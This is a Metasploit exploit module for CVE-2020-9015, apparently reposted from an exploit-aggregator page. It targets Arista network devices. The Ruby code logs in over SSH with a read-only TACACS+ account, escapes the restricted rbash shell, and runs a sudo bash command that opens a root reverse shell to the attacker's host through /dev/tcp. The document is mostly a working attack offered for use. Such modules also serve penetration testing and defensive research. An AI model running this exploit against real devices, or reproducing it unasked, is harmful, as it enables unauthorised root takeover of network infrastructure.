Exploit for Arista Restricted Shell Escape / Privilege Escalation CVE-2020-9015

## https://sploitus.com/exploit?id=PACKETSTORM:158119
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'net/ssh'  
require 'net/ssh/command_stream'  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = GreatRanking  
  
include Msf::Exploit::Remote::SSH  
include Msf::Auxiliary::Report  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Arista restricted shell escape (with privesc)',  
'Description' => %q{  
This exploit module takes advantage of a poorly configured TACACS+ config,  
Arista's bash shell and TACACS+ read-only account to privilage escalate.  
A CVSS v3 base score of 9.8 has been assigned.  
},  
'License' => MSF_LICENSE,  
'Author' => ['Chris Anders'],  
'References' =>  
[  
[ 'CVE', '2020-9015'],  
[ 'URL', 'http://www.securitybytes.me/posts/cve-2020-9015/'],  
[ 'URL', 'https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-9015' ],  
[ 'URL', 'https://nvd.nist.gov/vuln/detail/CVE-2020-9015' ],  
],  
'Arch' => ARCH_X86,  
'ConnectionType' => 'find',  
'DefaultTarget' => 0,  
'DefaultOptions' =>  
{  
'Payload' => 'linux/x86/shell_reverse_tcp'  
},  
'DisclosureDate' => 'Feb 02 2020',  
'Platform' => 'linux',  
'PayloadType' => 'cmd_interact',  
'Privileged' => true,  
'Targets' => [ [ 'Universal', {} ] ]  
)  
)  
  
register_options(  
[  
Opt::RPORT(22),  
OptString.new('USERNAME', [true, 'Username to login with', '']),  
OptString.new('PASSWORD', [true, 'Password to login with', '']),  
]  
)  
  
register_advanced_options(  
[  
Opt::Proxies,  
OptBool.new('SSH_DEBUG', [false, 'Enable SSH debugging output (Extreme verbosity!)', false]),  
OptInt.new('SSH_TIMEOUT', [false, 'Specify the maximum time to negotiate a SSH session', 30]),  
OptBool.new('GatherProof', [true, 'Gather proof of access via pre-session shell commands', false])  
]  
)  
end  
  
def check  
factory = ssh_socket_factory  
opts = {  
auth_methods: ['password', 'keyboard-interactive'],  
port: rport,  
use_agent: false,  
config: false,  
password: password,  
proxy: factory,  
non_interactive: true,  
verify_host_key: :never  
}  
  
begin  
::Timeout.timeout(datastore['SSH_TIMEOUT']) do  
Net::SSH.start(rhost, username, opts)  
end  
rescue Rex::ConnectionError  
return CheckCode::Safe  
rescue Net::SSH::Disconnect, ::EOFError  
return CheckCode::Safe  
rescue Timeout::Error  
return CheckCode::Safe  
rescue Net::SSH::AuthenticationFailed  
return CheckCode::Safe  
rescue Net::SSH::Exception  
return CheckCode::Safe  
end  
  
CheckCode::Detected  
  
end  
  
def rhost  
datastore['RHOST']  
end  
  
def rport  
datastore['RPORT']  
end  
  
def lport  
datastore['LPORT']  
end  
  
def lhost  
datastore['LHOST']  
end  
  
def username  
datastore['USERNAME']  
end  
  
def password  
datastore['PASSWORD']  
end  
  
def exploit  
factory = ssh_socket_factory  
  
opts = {  
auth_methods: ['password', 'keyboard-interactive'],  
port: rport,  
use_agent: false,  
config: false,  
password: password,  
proxy: factory,  
non_interactive: true,  
verify_host_key: :never  
}  
  
opts.merge!(verbose: :debug) if datastore['SSH_DEBUG']  
  
print_status("#{rhost}:#{rport} - Attempt to login to the Arista's restricted shell...")  
  
begin  
ssh = nil  
::Timeout.timeout(datastore['SSH_TIMEOUT']) do  
ssh = Net::SSH.start(rhost, username, opts)  
end  
rescue Rex::ConnectionError  
fail_with(Failure::Unreachable, "#{rhost}:#{rport} SSH - Connection error or address in use")  
rescue Net::SSH::Disconnect, ::EOFError  
fail_with(Failure::Disconnected, "#{rhost}:#{rport} SSH - Disconnected during negotiation")  
rescue ::Timeout::Error  
fail_with(Failure::TimeoutExpired, "#{rhost}:#{rport} SSH - Timed out during negotiation")  
rescue Net::SSH::AuthenticationFailed  
fail_with(Failure::NoAccess, "#{rhost}:#{rport} SSH - Failed authentication")  
rescue Net::SSH::Exception => e  
fail_with(Failure::Unknown, "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}")  
end  
  
fail_with(Failure::Unknown, "#{rhost}:#{rport} SSH session couldn't be established") unless ssh  
begin  
payload_executed = false  
print_good('SSH connection established.')  
  
ssh.open_channel do |channel, _data|  
print_status('Requesting pty rbash')  
  
channel.request_pty do |ch, success|  
fail_with(Failure::Unreachable, "#{rhost}:#{rport} Could not request a PTY!") unless success  
print_good('PTY successfully obtained.')  
  
print_status('Requesting a shell.')  
ch.send_channel_request('shell') do |cha, _succ|  
fail_with(Failure::Unreachable, "#{rhost}:#{rport} Could not open rbash shell!") unless success  
print_good('Spawned into arista rbash shell.')  
  
cha.on_data do |_xx, data2|  
if data2.include? '#'  
if !payload_executed  
print_status('Attempting to break out of Arista rbash...')  
channel.send_data("show run | grep '' | sudo bash -c 'bash -i >& /dev/tcp/#{lhost}/#{lport} 0>&1 2>&1 &'\n")  
payload_executed = true  
print_good('Escaped from rbash!')  
end  
end  
end  
end  
end  
end  
ssh.loop unless session_created?  
rescue Errno::EBADF => e  
elog(e.message)  
end  
end  
end